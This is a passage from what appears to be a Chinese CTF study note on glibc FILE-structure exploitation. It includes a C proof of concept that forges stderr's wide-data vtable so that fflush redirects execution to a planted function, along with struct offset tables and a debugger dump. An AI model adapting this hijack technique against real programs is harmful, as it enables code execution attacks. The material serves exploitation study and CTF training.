,即满足*(B + 0x68) = C
函数调用链如下:
_IO_wfile_underflow_mmap
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
_IO_wdefault_xsgetn
- demo(_IO_wdefault_xsgetn):
//ubuntu 20.04
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
void backdoor()
{
printf("\033[31m[!] Backdoor is called!\n");
_exit(0);
}
void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
puts("[*] allocate two 0x200 chunks");
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x84420;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);
size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: change stderr->_flags to 0x800");
*(size_t *)stderr2 = 0x800;
puts("[+] step 2: change stderr->_mode to 1");
*(size_t *)(stderr2 + 0xc0) = 1;
puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
//正常是call vtable + 0x60,这里借助了一个错位
*(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;
puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
*(size_t *)(stderr2 + 0xa0) = (size_t)p1;
puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
*(size_t *)(p1 + 0xe0) = (size_t)p2;
puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base");
*(size_t *)(p1 + 0x20) = (size_t)1;
puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
// ► 0x7ffff7e435f5 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18] <backdoor>
//rax ->> p2
*(size_t *)(p2 + 0x18) = (size_t)(&backdoor);
puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
fflush(stderr);
}
附录
amd64:
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
00:0000│ (_IO_wfile_jumps) ◂— 0x0
01:0008│ (_IO_wfile_jumps+8) ◂— 0x0
02:0010│ (_IO_wfile_jumps+16) —▸ (_IO_file_finish)
03:0018│ (_IO_wfile_jumps+24) —▸ (_IO_wfile_overflow)
04:0020│ (_IO_wfile_jumps+32) —▸ (_IO_wfile_underflow)
05:0028│ (_IO_wfile_jumps+40) —▸ (_IO_wdefault_uflow)
06:0030│ (_IO_wfile_jumps+48) —▸ (_IO_wdefault_pbackfail)
07:0038│ (_IO_wfile_jumps+56) —▸ (_IO_wfile_xsputn)
08:0040│ (_IO_wfile_jumps+64) —▸ (__GI__IO_file_xsgetn)
09:0048│ (_IO_wfile_jumps+72) —▸ (_IO_wfile_seekoff)
0a:0050│ (_IO_wfile_jumps+80) —▸ (_IO_default_seekpos)
0b:0058│ (_IO_wfile_jumps+88) —▸ (_IO_file_setbuf)
0c:0060│ (_IO_wfile_jumps+96) —▸ (_IO_wfile_sync)
0d:0068│ (_IO_wfile_jumps+104) —▸ (_IO_wfile_doallocate)
0e:0070│ (_IO_wfile_jumps+112) —▸ (_IO_file_read)
0f:0078│ (_IO_wfile_jumps+120) —▸ (_IO_file_write)
10:0080│ (_IO_wfile_jumps+128) —▸ (_IO_file_seek)
11:0088│ (_IO_wfile_jumps+136) —▸ (_IO_file_close)
12:0090│ (_IO_wfile_jumps+144) —▸ (_IO_file_stat)
13:0098│ (_IO_wfile_jumps+152) —▸ (_IO_default_showmanyc)
14:00a0│ (_IO_wfile_jumps+160) —▸ (_IO_default_imbue)
a8 ~ c0
参考链接
- [原创]CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
- IO_FILE学习 | Lock's blog (locksec.top)
- PWN-ORW总结 - X1ng's Blog
- [原创]IO_file劫持利用—fsop-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com